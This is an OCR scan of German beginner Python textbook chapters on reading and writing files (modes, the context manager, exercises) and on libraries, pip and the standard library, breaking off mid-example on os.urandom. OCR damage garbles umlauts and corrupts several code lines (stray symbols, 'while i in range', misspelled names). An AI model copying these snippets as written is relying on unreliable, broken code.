https://florian-dalwigk.com/python-einsteiger/|%C3%B6sungen_kapitel9


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel9

10 Dateien lesen und schreiben

Wenn du komplexere Anwendungen wie bspw. ein Computerspiel oder
einen Terminplaner programmieren mochtest, dann musst du dich friiher
oder spater mit der Frage auseinandersetzen, wie du Informationen zu den
Lebenspunkten eines Spielers oder wichtige Termine lesen und speichern
kannst. Daflir bieten sich Dateien an. In diesem Kapitel lernst du, wie man
in Python solche Dateien erstellen, in sie hineinschreiben und ihren Inhalt
auslesen kann. In Kapitel 10.1 lernst du die Funktion open und die
Methode close kennen, mit denen du Dateien 6ffnen und schlieRen
kannst. In Kapitel 10.2 wirst du die beiden Methoden read und write
nutzen, um mit geoffneten Dateien zu arbeiten. Eine elegantere
Moglichkeit als Dateien mit der Funktion open zu 6ffnen, lernst du mit
dem Kontextmanager in Kapitel 10.3 kennen. In Kapitel 10.4 kannst du
dein Wissen in den Ubungsaufgaben vertiefen.

10.1 openund close

Gehen wir intuitiv an dieses Thema heran, dann leuchtet der folgende
Ablauf fir die Arbeit mit Dateien durchaus ein:

1. Zuerst muss die Datei gedffnet werden.
2. Dann wird entweder etwas aus der Datei ausgelesen oder man schreibt etwas in sie hinein.
3. Zum Schluss wird die gedffnete Datei wieder geschlossen.

Das lasst sich so eins zu eins in eine Code-Schablone Ubersetzen, denn in
Python gibt es namlich eine Funktion und eine Methode, mit denen man
jeweils eine Datei oOffnen und schlieBen kann. Diese heillen
passenderweise open und close:

<Filehandle> = open (<Dateiname>, <Modus>)

<Filehandle>.close ()



Code-Schablone 10.1.1: Dateien mit open 6ffnen und mit close schlieBen

Okay, das sieht jetzt komplizierter aus, als es eigentlich ist. Beginnen wir
mit der ersten Zeile. Dort wird eine Funktion namens open aufgerufen, die

zwei Parameter erhdlt, namlich <Dateiname> und <Modus>.
<Dateiname> ist einfach nur der Name der Datei, die mit open gedffnet
werden soll. Dieser Wert wird als String lUbergeben. Doch was ist der
<Modus>? Nun, damit wird angegeben, ob die gedffnete Datei nur
gelesen oder auch beschrieben werden darf. Dafir kommen
unterschiedliche Buchstaben zum Einsatz, die als String ubergeben
werden. r steht fir xread (lesen) und w fiir write (schreiben). Und was
ist mit dem Dritten im Bunde? Woflir steht der <Filehandle>? Einfach
ausgedrickt ist das ein Wert, der eine vom Betriebssystem verwaltete
Systemressource referenziert. Erst dadurch ist es moglich, dass eine Datei
gelesen oder beschrieben werden kann. Genau dieser <Filehandle>
ist es auch, der mit dem Aufruf der Methode close geschlossen wird.
Wenn die Datei, zu der der <Filehandle> urspriinglich mal gehort hat,
bspw. wieder gelesen werden soll, ruft man erneut die Funktion open mit
den entsprechenden Parametern auf, die dann einen <Filehandle>

zurtckliefert. Dort ist dann auch festgelegt, was mit der Datei gemacht
werden darf.

Beispiel 10.1.1: Es soll eine Einkaufsliste gedffnet werden, die als Textdatei
mit dem Namen einkaufsliste.txt auf dem Rechner gespeichert

wurde. Die Datei soll dabei nur gelesen werden dirfen. Zuerst erzeugen
wir uns mithilfe der Funktion open einen <Filehandle>. Der

<Dateiname> lautet einkaufsliste.txt und der <Modus> ist x,
denn die Datei darf nur gelesen werden. Den von der Funktion open
erzeugten <Filehandle> speichern wir anschlieBend in einer Variable
mit dem Namen einkaufsliste. Du kannst daflir aber auch jeden

beliebigen Namen verwenden. Auf StackOverflow wird oft einfach nur auf
den Buchstaben £ (fiir File) zuriickgegriffen:

1 einkaufsliste = open("einkaufsliste.txt", "r")



Jetzt kann die Datei gelesen werden. Wie das funktioniert, erfahrst du in
Kapitel 10.2. Nachdem die Datei gedffnet wurde, muss sie am Ende der
Verarbeitung auch wieder geschlossen werden. Dazu wird auf dem
<Filehandle> die Methode close aufgerufen, die keine Parameter

erhalt:

2 ...

3 einkaufsliste.close ()

Beispiel 10.1.2: In eine Teilnehmerliste an einem Python-Programmierkurs,
die als Textdatei mit dem Namen teilnehmer.txt auf dem Rechner

gespeichert wurde, sollen weitere Teilnehmer eingetragen werden. Zuerst
erzeugen wir uns mithilfe der Funktion open einen <Filehandle>. Der

<Dateiname> lautet teilnehmer. txt und der <Modus> ist w, denn
die Datei muss beschrieben werden kdonnen. Den von der Funktion open
erzeugten <Filehandle> speichern wir anschlieBend in einer Variable
mit dem Namen teilnehmerliste:

1 teilnehmerliste = open("teilnehmer.txt", "w")

Jetzt kann die Datei beschrieben werden. Wie das funktioniert, erfahrst du
in Kapitel 10.2. Nachdem die Datei ge6ffnet wurde, muss sie am Ende der
Verarbeitung auch wieder geschlossen werden. Dazu wird auf dem
<Filehandle> die Methode close aufgerufen, die keine Parameter

erhalt:

2 ...

3 teilnehmerliste.close ()

10.2 readundwrite

Zum Lesen und Beschreiben von Dateien gibt es in Python die beiden
Methoden read und write. Wer der englischen Sprache machtig ist,
wird wissen, welche Methode fiir was verwendet wird.



Widmen wir uns zunachst einmal der Methode read. Diese wird auf
einem Filehandle aufgerufen, der von der Funktion open erzeugt wurde.
Das Ergebnis ist (im Modus r) ein String, der einer Variable zugewiesen
werden kann.

Beispiel 10.2.1: Gegeben ist eine Textdatei sprichwort.txt, in der ein
bekanntes Sprichwort steht:

Der friuhe Vogel fangt den Wurm.

Den Inhalt dieser Datei kannst du nun in ein Python-Programm bringen,
indem du die Funktion open aufrufst und den Dateinamen

sprichwort.txt sowie den Modus r Ubergibst. Den <Filehandle>
speicherst du in einer Variable mit dem Namen f£:

1 £f = open("sprichwort.txt", "r")

Im nachsten Schritt wird auf dem <Filehandle> f die Methode read
aufgerufen und das Ergebnis einer Variable sprichwort zugewiesen:

2 sprichwort = f.read()

Jetzt befindet sich in der Variable sprichwort der Text Der frithe
Vogel fangt den Wurm. Das kannst du verifizieren, indem du dir
den Inhalt der Variable mit print ausgibst:

3 print (sprichwort)
# Ausgabe: Der frithe Vogel fangt den Wurm.

Zum Schluss muss der Filehandle noch mithilfe der Methode close
geschlossen werden:

4 f.close ()

Wenn eine Datei mehrere Zeilen hat und du direkt alle auf einmal in eine
Liste laden mochtest, dann kannst du auf eine speziell fir diesen Zweck



entwickelte Methode mit dem Namen readlines zurlickgreifen. Diese
wird auf dem <Filehandle> einer Datei mit mehreren Zeilen
aufgerufen. Als Ergebnis wird eine Liste zurlickgegeben, in der alle Zeilen
als einzelne Eintrage enthalten sind.

Beispiel 10.2.2: Gegeben ist eine Einkaufsliste einkauf.txt, auf der
folgende Lebensmittel zu finden sind:

Tomaten

Kase
Nudeln

Diese Lebensmittel sollen nun in einer Liste mit dem Namen
lebensmittel innerhalb des Python-Programms gespeichert werden.
Zuerst erzeugen wir uns einen Container fur diese Liste:

1 lebensmittel = []

Jetzt 6ffnen wir die Datei wie gehabt:

2 £ = open("einkauf.txt", "r")

AnschlieBend wird auf dem <Filehandle> f die Methode readlines
aufgerufen, das Ergebnis direkt unserer Variable lebensmittel
zugewiesen und die Datei am Ende geschlossen:

3 lebensmittel = f.readlines /()

4 f.close ()

Wenn wir uns diese Liste nun ausgeben lassen, erhalten wir das
folgende Ergebnis:

5 print (lebensmittel)
# Ausgabe: ['Tomaten\n', 'Kase\n', 'Nudeln']

Moment, was soll das \n hinter den ersten beiden Eintragen? Nun, hierbei
handelt es sich um Zeilenumbriiche, die von readlines Ubernommen



werden. Da hinter dem letzten Eintrag (Nudeln) nichts mehr folgt, findet

man dort auch keinen Zeilenumbruch. Wie bekommt man diese
Zeilenumbriiche weg? Daflr liest du den Inhalt zuerst mit read aus und

rufst darauf dann die Methode splitlines auf, die am Zeilenumbruch
splittet und das Trennzeichen (also den Zeilenumbruch \n) nicht
mitnimmt. Zeile 3 dndert sich dann wie folgt:

3 lebensmittel = f.read().splitlines|/()

Das Ergebnis ist zufriedenstellend:

['Tomaten', 'Kase', 'Nudeln']

Statt der beiden Methoden readlines und read in Kombination mit
splitlines, kannst du auch eine for-Schleife nutzen, um den Inhalt
einer Datei auszulesen.

Beispiel 10.2.3: Da du leider sehr vergesslich bist, was die Geburtstage von
deinen Freunden und Verwandten angeht, hast du sie dir in einer Datei
geburtstage. txt abgespeichert:

Shinichi Kudo 04.05.1994
Haruka Nanase - 30.06.2000
Florian Dalwigk - 28.09.1992

Diese Datei soll nun gedffnet und die darin gespeicherten Geburtstage
nacheinander in eine geburtstagsliste eingetragen werden. Zuerst

definieren wir diese zu Beginn leere Liste:

1 geburtstagsliste = []

Danach erzeugst du dir mit open einen <Filehandle> fiur die Datei
geburtstage.txt, die du im Lesemodus r Offnest. Den
<Filehandle> nennen wir passenderweise geburtstage:

2 geburtstage = open ("geburtstage.txt", "r")



Jetzt iterierst du in einer for-Schleife Gber alle Zeilen und tragst diese
nacheinander in die geburtstagsliste ein:

3 for geburtstag in geburtstage:
4 geburtstagsliste.append(geburtstagqg)

Wie du siehst, muss hier noch nicht einmal die Methode read aufgerufen
werden. Das Ergebnis sieht folgendermalien aus:

5 print (geburtstagsliste)
# Ausgabe: ['Shinichi Kudo - 04.05.1994\n', 'Haruka
Nanase - 30.06.2000\n', 'Florian Dalwigk - 28.09.1992"']

Auch hier hast du wieder das Problem mit den Zeilenumbrichen \n am

Ende eines Eintrags. Das kannst du aber ganz einfach beheben, indem du in
Zeile 4 auf der Variable geburtstag die Methode strip aufrufst, die

alles, was vorne und hinten an Leerzeichen bzw. Zeilenumbriichen steht,
entfernt:

4 geburtstagsliste.append(geburtstag.strip())

Jetzt hatten wir es beinahe vergessen! Natirlich muss die Datei am Ende
der Verarbeitung noch geschlossen werden:

5 geburtstage.close ()

Wenn du etwas in eine Datei schreiben willst, dann kannst du daflir die
Methode write verwenden, die ebenfalls auf einem <Filehandle>

aufgerufen wird und als Parameter das erhalt, was hineingeschrieben
werden soll. Achte darauf, dass du die Datei, wenn du sie beschreiben
willst, im Modus w 6ffnest.

Beispiel 10.2.4: Du mochtest das Passwort LolcOw fiir deinen soeben
frisch erstellten E-Mail-Account in einer Datei passwort.txt
speichern.? Dazu erzeugst du mit dem Aufruf der Funktion open, der du
den Dateinamen passwort.txt und den Modus w Ubergibst, einen




<Filehandle> f:

1 £ = open("passwort.txt", "w")

Jetzt rufst du auf dem soeben erzeugten <Filehandle> die Methode
write auf, der du das zu speichernde Passwort libergibst:

2 f.write("LoLcOw")

Zum Schluss schliel3t du die Datei durch einen Aufruf der Methode close
auf dem Filehandle:

3 f.close()

Jetzt befindet sich in der Datei passwort.txt dein Passwort Lol.cOw,

das du bitte niemals verwendest, wenn du nicht zu einer ,Lolcow” werden
mochtest.

Doch was ist, wenn du eine Datei nicht neu erzeugen oder komplett
Uberschreiben willst, sondern stattdessen nur einen Wert hinzufligen
mochtest? Nun, dafiir gib es den Modus a, der fir ,append”, also
»anhangen steht.

Beispiel 10.2.5: Fiir deinen nachsten Besuch im Supermarkt moéchtest du
eine Einkaufsliste einkauf.txt mitnehmen, auf der bereits einige
Lebensmittel zu finden sind. Du mochtest nun Erdbeeren erganzen, ohne
dabei alle anderen Produkte zu l6schen. Dafiir verwendest du beim Aufruf
der Funktion open den Modus a:

1 £f = open("einkauf.txt", "a")

Wenn du jetzt die Methode write auf dem <Filehandle> aufrufst,

dann wird das, was du Ubergibst, hinten an den Einkaufszettel angehangt.
Wenn du mochtest, dass nach dem Eintrag eine neue Zeile beginnt, dann
musst du mit \n eine einleiten. Die Methode write flugt namlich nicht

automatisch einen Zeilenumbruch an:




2 f.write ("Erdbeeren\n")

Zum Schluss muss die Datei wieder geschlossen werden:

3 f.close()

Wenn du eine Datei gleichzeitig lesen und beschreiben mdchtest, dann
kannst du dafiir den Modus r+ verwenden.

Beispiel 10.2.6: Angenommen, du mochtest dir den Inhalt deiner
Passwortliste passworter.txt anzeigen lassen und diese gleichzeitig
um weitere Eintrage erganzen. Dann gibst du der Funktion open als
Modus r+ mit:

1 passworter =[]

2 f = open ("passworter.txt", "r+")

Jetzt kannst du dir alle Passworter in einer Liste speichern und anzeigen
lassen:

3 passworter = f.read().splitlines|{()

4 print (passworter)

Da du den Modus r+ verwendet hast, kannst du jetzt gleichzeitig noch ein
neues Passwort erganzen:

5 f.write ("h4ck3R")

Wenn du deinem ultrasicheren ,Passwort-Manager” keine Geheimnisse
mehr anzuvertrauen hast, schlie8t du die Datei:

6 f.close ()

Die folgende Tabelle fihrt noch einmal alle Modi auf, die wir bisher
besprochen haben:

Modus Bedeutung



r Die Datei wird nur zum Lesen geo6ffnet.
R+ Die Datei wird zum gleichzeitigen Lesen und Schreiben geoffnet.

W Die Datei wird nur zum Schreiben geoffnet. Existiert bereits eine Datei mit dem Namen,
dann wird sie Giberschrieben.

A Die Datei wird nur zum Schreiben geoffnet. Existiert bereits eine Datei mit dem Namen,
dann wird der Inhalt hinten angefiigt.

Tabelle 10.2.1: Modi, in denen eine Datei getffnet werden kann

Daneben gibt es noch weitere Modi, wie etwa rb und wb, mit denen
Binadr- statt Textdateien eingelesen und geschrieben werden kénnen. Das
ist vor allem wichtig, wenn man .png-, .Jjpg- oder .pdf-Dateien
einlesen oder schreiben mdéchte.

10.3 Der Kontextmanager

So, am besten vergisst du jetzt den Grol3teil dessen, was du in Kapitel 10.1
gelernt hast, denn damit machst du dir viel zu viel Arbeit. Du musst dich
am Ende deines Dateizugriffs immer selbst darum kiimmern, mit einem
Aufruf der Methode close den <Filehandle> wieder freizugeben, da
es ansonsten zu unangenehmen Fehlern kommen kann. Das System kénnte
bspw. langsamer werden oder gar abstlirzen. Warum solltest du dich
diesen  Kopfschmerzen aussetzen? Nutze doch einfach den
Kontextmanager.

Der Kontextmanager ist ein Konstrukt, das es an vielen Stellen in Python
gibt. Er Gbernimmt all die Aufgaben, die fir einen selbst sehr lastig sind
und ggf. sicherheitskritisch werden konnten. Hierzu zahlt vor allem die
saubere Freigabe von Ressourcen, da diese nur begrenzt vorhanden sind.
Eine solche knappe Ressource ist bspw. ein Dateideskriptor. Diesen kennst
du bereits unter der Bezeichnung <Filehandle>. Von einem Prozess
kann namlich nur eine bestimmte Anzahl an Dateien gleichzeitig getffnet
werden. Um das nachzuprifen, kdnnen wir uns ein kleines Programm
schreiben, das eine Vielzahl an Dateien hintereinander 6ffnet und die
dazugehorigen <Filehandle> in einer Liste speichert:



1 filehandle = []

In einer for-Schleife, die zehntausendmal durchlaufen werden soll, wird
eine Datei mit dem Namen beispiel.txt gedffnet und der von open
zurlickgelieferte <Filehandle> in einer Liste gespeichert:

2 while i in range(0,10000) :
3 filehandle.append (open ('beispiel.txt', 'r'))

Zusatzlich dazu lassen wir uns in jedem Schritt ausgeben, wie oft die
Schleife bereits durchlaufen wurde:

4 print(i+l)

Auf meinem Rechner war mit dem 8189. Offnen der Datei
beispiel.txt Schluss und ich habe die folgende Fehlermeldung
erhalten:

OSError: [Errno 24] Too many open files: 'beispiel.txt'

In der Praxis wirst du vermutlich niemals so viele Dateien gleichzeitig
offnen, doch das Beispiel soll dich daflir sensibilisieren, sorgsam mit den
zur Verfligung stehenden Ressourcen umzugehen.

Zusatzlich sorgt der Kontextmanager auch dafiir, dass beim Auftreten eines
Programmfehlers die gedffnete Datei richtig geschlossen wird. Je nach
Komplexitat des Programms kann das namlich durchaus schwierig werden.
Statt mihsam mit try und except komplexe Fehlerbehandlungen
vorzunehmen (Kapitel 14), kann man in Python all das mit nur einer
Codezeile erreichen.

Um den Kontextmanager fiir Dateien zu verwenden, werden zwei
Keywords bendtigt, namlich with und as. Die folgende Code-Schablone
zeigt, wie der Kontextmanager allgemein aufgerufen werden kann:

with open (<Dateiname>, <Modus>) as <Filehandle>:

Code-Schablone 10.3.1: Aufruf des Kontextmanagers



Beispiel 10.3.1: Es soll ein Einkaufszettel mit dem Namen einkauf . txt
eingelesen werden. Die einzelnen Produkte sollen in einer Liste

gespeichert werden. Dabei sollen der Kontextmanager und die Methode
readlines zum Einsatz kommen. Zuerst definieren wir eine leere

Liste mitdem Namen einkauf:

1 einkauf = []

Danach wird in Code-Schablone 10.3.1der <Dateiname> durch
einkauf.txt undder <Modus> durch r ersetzt, da wir den Inhalt einer
Datei einlesen wollen. Als Namen fiir den <Filehandle> verwenden wir
logischerweise nicht einkauf, da dieser bereits fir die Liste
vorgesehen ist. Ein einfaches £ fir <Filehandle> reicht bereits aus:

2 with open ("einkauf.txt", "r") as f:

AnschlieBend rufen wir auf dem <Filehandle> die Methode
readlines auf und weisen das Ergebnis der Variable einkauf zu:

3 einkauf = f.readlines|{()

Beachte dabei, dass der Code eingeriickt werden muss. Kommt es jetzt aus
welchen Grinden auch immer zu einem Fehler, dann reagiert der
Kontextmanager und sorgt dafiir, dass die beanspruchten Ressourcen
freigegeben werden bzw. die gedffnete Datei ordnungsgemal geschlossen
wird.

Wie du siehst, kimmert sich der Kontextmanager um das Schlielen der
Datei nach der Verarbeitung, sodass ein Aufruf der Methode c1ose nicht
erforderlich ist.

Beispiel 10.3.2: In eine Liste mit dem Namen teilnehmer.txt
sollen nacheinander die drei Namen , Ayumi“, ,Mayuri“ und ,Kazuto“
eingetragen werden. Der Kontextmanager hilft uns dabei. Um ihn nutzen
zu kénnen, muss der <Dateiname> aus der Code-Schablone 10.3.1
durch teilnehmer. txt und der <Modus> durch w ersetzt werden, da



wir etwas in eine Datei schreiben wollen. Den <Filehandle> kdnnen
wir bspw. teilnehmerliste nennen:

1 with open ("teilnehmer.txt", "w") as teilnehmerliste:

Jetzt werden mithilfe der Methode write nacheinander die drei

Teilnehmer in die soeben gedffnete Datei geschrieben. Der Code wird
dabei entsprechend eingertickt:

2 teilnehmerliste.write ("Ayumi\n")
3 teilnehmerliste.write ("Mayuri\n")

4 teilnehmerliste.write ("Kazuto\n")

Tritt auch nur bei einer dieser Schreiboperationen ein Fehler auf, dann
kiimmert sich der Kontextmanager darum, aufzurdaumen und die Datei
teilnehmer. txt zu schliellen.

Beispiel 10.3.3: In eine bereits existierende Passwortliste namens
rassworter. txt soll ein weiteres Passwort, namlich pythOn rockz,
eingetragen werden. Die Ubrigen Eintrage dirfen dabei nicht geldscht
werden. Und natirlich soll auch hier wieder der Kontextmanager zum
Einsatz kommen. Daflir muss der <Dateiname> aus der Code-Schablone
10.3.1 durch passworter.txt und der <Modus> durch a ersetzt
werden, da wir einen weiteren Eintrag in die Datei schreiben wollen. Den
<Filehandle> kénnen wir bspw. passwortliste nennen:

1 with open ("passworter.txt", "a") as passwortliste:

Jetzt wird mithilfe der Methode write, die wir einrlicken mussen, das
Passwort pythOn rockz in die Passwortliste geschrieben:

2 passwortliste.write ("pythOn rockz\n")

Tritt bei dem Schreibvorgang ein Fehler auf, dann kimmert sich der
Kontextmanager darum, die Datei passworter.txt sauber zu
schliel3en.




Beispiel 10.3.4: Gegeben ist der folgende Code zum Eintragen eines
Passworts in eine Datei mit dem Namen passwort.txt (Beispiel

10.2.4):

1 £ = open("passwort.txt", "w")
2 f.write ("LoLcOw")
3 f.close()

Um den Code mithilfe des Kontextmanagers umzuschreiben, ersetzen wir
zuerst den Ausdruck

in Zeile 1 durch das Keyword with:

1 with open ("passwort.txt", "w")

Das stimmt jetzt aber noch nicht ganz! Wir schreiben den Namen des
<Filehandles> jetzt mit dem Keyword as getrennt direkt hinter den

Aufruf der Funktion open. Zum Abschluss dieser ersten Zeile wird ein
Doppelpunkt notiert:

1 with open ("passwort.txt", "w") as f:

Das sieht schon besser aus! Die Zeile, in der das Passwort in die Datei
geschrieben wird (Zeile 2) muss jetzt eingerlickt werden:

2 f.write("LoLcOw")

Zeile 3 ist jetzt Uberflissig, da der Kontextmanager diese Arbeit fir dich
erledigt.

Wie du in den Beispielen gesehen hast, kimmert sich der Kontextmanager
um das Schliellen der Datei nach der Verarbeitung, sodass ein Aufruf der
Methode c1lose nicht mehr erforderlich ist.



10.4 Ubungsaufgaben
@ Was macht das folgende Programm?

1 meine noten = []
2 with open ("noten.txt", "r") as noten:
3 for note in noten:

4 meine noten.append(note)

@ Lies den Inhalt der Datei pokemon . txt mithilfe des Kontextmanagers
in eine Liste mit dem Namen pokemon ein. Die Zeilenumbriiche sollen
dabei nicht mit lbernommen werden:

Bisasam
Pikachu
Schiggy
Mauzi
Glumanda

@ Mit dem folgenden Programm sollen in die Datei zutaten.txt
»Butter” und ,,Zucker” eingetragen werden. Finde und korrigiere die Fehler,
die sich hier eingeschlichen haben:

1 with open("zutaten.txt", "r+"):
2 zutaten.write ("Butter\n")

3 zutaten.write ("Zucker\n")
4

zutaten.close ()

@ Mit dem folgenden Programm soll die Datei serien.txt in eine
Liste mit dem Namen meine serien eingelesen und ausgegeben
werden. Finde und korrigiere die Fehler, die sich hier eingeschlichen haben:

1 meine serien = []
2 serien = open ("serien.txt", "w")
3 for serie in serien:

4 meine serien.append (film)



@ Schreibe den folgenden Code so um, dass der Kontextmanager
verwendet wird:

meine filme = []

filme = open("filme.txt", "r")

1

2

3 for film in filme:

4 meine filme.append (film)
5

filme.close ()

In der folgenden Playlist findest du die Lésungen zu den Ubungsaufgaben
aus diesem Kapitel:

https://florian-dalwigk.com/python-einsteiger/I%C3%B6sungen_kapitel10


https://florian-dalwigk.com/python-einsteiger/l%C3%B6sungen_kapitel10

11 Bibliotheken

In diesem Kapitel beschaftigst du dich mit Bibliotheken und lernst, wie man
sie richtig in sein Projekt einbindet (Kapitel 11.1). Danach geht es in Kapitel
11.2 um die umfangreiche Standardbibliothek von Python und die darin
enthaltenen Built-in-Funktionen. In Kapitel 11.3 lernst du exemplarisch vier
Vertreter der Standardbibliothek kennen, namlich os, sys, math und
random. In den Ubungsaufgaben (Kapitel 11.4) wirst du u. a. einige
Bibliotheken herunterladen, die nicht zur Standardbibliothek gehéren und
nach passenden Funktionen zur Umsetzung bestimmter Aufgaben suchen.

11.1 Was sind Bibliotheken und wie bindet man
sie ein?

Damit du das Rad nicht jedes Mal neu erfinden musst, stellt dir Python
sehr viel vorfertigten Code in sogenannten Bibliotheken zur Verfligung.
Eine Bibliothek ist einfach nur eine Ansammlung mehrerer Module. Viele
Aufgaben, die man einmal in Python gelost hat, tauchen beim
Programmieren immer wieder auf und deshalb ergibt es Sinn, sie in
Module zu packen und zu einer Bibliothek zusammenzufiihren. Ich habe
mir als Ubung fiir meine Programmierklausuren im Informatikstudium
solche Bibliotheken erstellt, um mein Wissen zu biindeln und es in den
folgenden Semestern im schnellen Zugriff zu haben. Viele der darin
enthaltenen Funktionen sind so allgemein gehalten, dass man sie in
verschiedenen Kontexten verwenden kann wie bspw. bei der sicheren
Verschlisselung von Texten oder Dateien.

In der Regel importiert man sich jedoch nicht eine ganze Bibliothek auf
einmal, sondern geht ,sparsam” vor. Wenn du in eine Stadtbibliothek
gehst, dann leihst du dir schlieBlich auch nicht alles aus, was dort in den
Blicherregalen steht, sondern gehst selektiv vor und wahlst nur das aus,




was du gerade benotigst. Diese Denkweise solltest du auch beim
Programmieren Gbernehmen, da der Import vieler Module ggf. sehr lange
dauern kann.

In Kapitel 6.4 haben wir bereits detailliert besprochen, wie man Module
importieren kann. Als kleine Wiederholung folgt hier noch einmal eine
kurze Zusammenfassung. Die Basis flir einen Import ist das Keyword
import. Direkt darauf folgt der <Modulname>:

import <Modulname>

Wenn du statt des <Modulnamens> eine andere Bezeichnung, einen
sogenannten <Alias>, verwenden mochtest, dann schreibst du hinter
den <Modulnamen> das Keyword as und dahinter dann den
gewlnschten <Alias>:

import <Modulname> as <Alias>

Mochtest du nur bestimmte Funktionen eines Moduls importieren, dann
verwendest du das Keyword from. Darauf folgt dann der

<Modulnamen> und dahinter importierst du dir mit dem Keyword
import die gewilnschten <Funktionsnamen>:

from <Modulname> import <Funktionsnamen>

Wenn du Module in deinem Programm nutzt, dann kannst du auf die darin
gespeicherten Variablen- und Funktionsnamen zugreifen, indem du den
<Modulnamen> oder den von dir festgelegten <Alias> notierst und
dann mit einem Punkt getrennt das gewtinschte Element benennst. Um
bspw. auf die Funktion randint zugreifen zu kdnnen, die sich im Modul
random befindet und mit der du dir Zufallszahlen innerhalb eines
bestimmten Bereichs wirfeln lassen kannst, importierst du dir zuerst das
Modul und kannst dann darauf zugreifen:

1 import random

2 zufallszahl = random.randint (1,10)



In der Variable zufallszahl wird jetzt mit jedem Programmaufruf eine
zufallig ausgewahlte Zahl zwischen (inklusive) 1 und (inklusive) 10
gespeichert. Wenn du tatsachlich nur an der Funktion randint
interessiert bist, kannst du auch einen sparsamen Import durchfiihren:

1 from random import randint

Jetzt musst du nicht mehr extra den <Modulnamen> notieren und mit

einem Punkt auf die Funktion zugreifen, sondern kannst sie direkt
verwenden:

2 zufallszahl = randint(1,10)

Wenn du vergisst, ein Modul vor seiner Verwendung zu importieren, dann
liefert Python eine sogenannte NameError Exception:

NameError: name 'random' is not defined

Wenn du Module aus einer Bibliothek verwenden mochtest, die nicht Teil
der Standardbibliothek sind, dann musst du sie dir zuvor herunterladen
und installieren. Dabei hilft dir Paketmanager pip. Nehmen wir mal an, du
mochtest verschiedene Algorithmen fur die Bildverarbeitung nutzen. Dann
wirst du kaum um die Bibliothek OpenCV herumkommen. Diese ist
allerdings nicht Teil der Standardbibliothek und deshalb musst du sie dir
mit pip nachinstallieren. Dafir 6ffnest du die CMD und tippst dort den
Befehl

pip install opencv-python

ein. Der Paketmanager ladt im Hintergrund alle Module der Bibliothek
herunter und installiert sie. Mit dem anschlieBenden Import

import cv2

in deinem Python-Programm hast du Zugriff auf zahlreiche Module und
Funktionen, mit denen du z. B. Objekte tracken und Gesichter erkennen



kannst. Achte aber auch hier darauf, dass du nicht einfach blind alles
importierst, sondern nur die tatsachlich benoétigten Module. Wenn du
bspw. nur die Funktion imread verwenden mochtest, mit der du Bilder
von deiner Festplatte in dein Programm laden kannst, dann reicht auch der
folgende Import:

1 from cv2 import imread

Damit kannst du jetzt ein Bild als mehrdimensionale Liste in dein
Programm laden und damit weiterarbeiten:

2 bild = imread("Pfad/zum/bild.png")

Der ganze andere Schnickschnack, den dir die sehr machtige Bibliothek
OpenCV bietet, wird so nicht importiert.

11.2 Die Standardbibliothek und Built-in-
Funktionen

Die Standardbibliothek von Python bietet eine umfangreiche Anzahl an
Modulen, die bereits bei der Installation von Python mitgeliefert werden.
Diese musst du dir nicht erst mit dem Paketmanager pip nachinstallieren,
sondern  kannst sie  unmittelbar verwenden. Die gesamte
Standardbibliothek durchzugehen, wiirde den Rahmen dieses Buches
sprengen. Wenn du ein bisschen in der offiziellen Dokumentation der
Standardbibliothek in Python stébern mdéchtest, dann kannst du das auf
der folgenden Webseite machen:



https://florian-dalwigk.com/python-einsteiger/dokumentation_der_standardbibliothek

Damit du jedoch nicht ganz auf verlorenem Posten stehst, zeige ich dir in
dem folgenden Video, wie du effizient nach passenden Modulen in der
Standardbibliothek suchen kannst:

https://florian-dalwigk.com/python-einsteiger/arbeiten_mit_bibliotheken

Auch die Module der Standardbibliothek miissen zu Beginn eines Python-
Programms oder spatestens dann, wenn man sie bendtigt, importiert
werden. Es gibt jedoch sogenannte Built-in-Funktionen, bei denen das
nicht der Fall ist. Dabei handelt es sich um Funktionen, die fest im Python-
Interpreter verbaut sind und direkt verwendet werden kénnen, d. h., du
benotigst fir sie keinerlei Imports. Ohne es zu wissen, hast du das bereits
an vielen Stellen in diesem Buch gemacht. Ein paar Beispiele gefallig?

] Die Funktion 1en, mit der du die Ldnge eines Strings oder die Anzahl der Elemente in einer
Liste bestimmen kannst, ist eine Built-in-Funktion.


https://florian-dalwigk.com/python-einsteiger/dokumentation_der_standardbibliothek
https://florian-dalwigk.com/python-einsteiger/arbeiten_mit_bibliotheken

L] Die Funktionen int, float, bool und str, mit denen du verschiedene Datentypen ineinander
umwandeln kannst, zdhlen zu den Built-in-Funktionen.

[J input ist ebenfalls eine Built-in-Funktion, mit der man Benutzereingaben entgegennehmen
kann.

Eine vollstandige Liste mit allen Built-in-Funktionen findest du unter dem
folgenden Link:

https://florian-dalwigk.com/python-einsteiger/built_in_functions_python3

Neben den Built-in-Funktionen gibt es auch Built-in-Konstanten. Zwei von
ihnen hast du bereits in Kapitel 4.2 gesehen, namlich die beiden
Wahrheitswerte True und False. Hierbei handelt es sich nicht, wie man
annehmen konnte, um Keywords, sondern um Konstanten, die direkt im
Python-Interpreter verbaut sind. Zu den sogenannten Built-in-Datentypen
gehorenu. a. Listen, Sets, Tupel und Dictionaries.

11.3 0s, sys,math und random

In diesem Kapitel schauen wir uns vier verschiedene Module der
Standardbibliothek, namlich os, sys, math und random genauer an.

Mit dem Modul os erhalten wir Zugriff auf einige
Betriebssystemfunktionen. Mit dem Aufruf von

print (dir (os))


https://florian-dalwigk.com/python-einsteiger/built_in_functions_python3

wird eine Liste mit den Namen aller Funktionen, die das Modul os

bereitstellt, ausgegeben. Uber den folgenden QR-Code gelangst du zur
offiziellen Dokumentation des os-Moduls, in der die einzelnen Funktionen

im Detail erklart werden:

https://florian-dalwigk.com/python-einsteiger/os_modul

Eine Funktion aus diesem Modul heifft urandom. Mit ihr kannst du einen
Bytestring erzeugen, der fir kryptographische Zwecke genutzt werden

kann. Die Funktion erhalt einen Parameter, der angibt, wie viele zufallige
Bytes generiert werden sollen. Es wird ein betriebssystemspezifischer
Zufall verwendet, der Ereignisse in der Hardware deines Rechners
verwendet und somit unvorhersehbar genug fir die meisten
kryptographischen Anwendungsfille ist. Die erzeugten Bytes werden in

Form eines Bytestrings zurlickgegeben.

Beispiel 11.3.1: Wir wollen uns mithilfe der Ereignisse auf der Hardware
unseres Rechners 16 Bytes an Zufallsdaten generieren. Daflir kbnnen wir
die Funktion urandom des Moduls os verwenden, das wir uns zuerst
importieren mussen.

1 import os

Als Parameter Ubergeben wir der Funktion urandom den Wert 16, um
mitzuteilen, dass wir 16 Bytes an Zufallsdaten wollen. Das Ergebnis
weisen wir einer Variable zufallsdaten zu und geben sie anschliefend


https://florian-dalwigk.com/python-einsteiger/os_modul

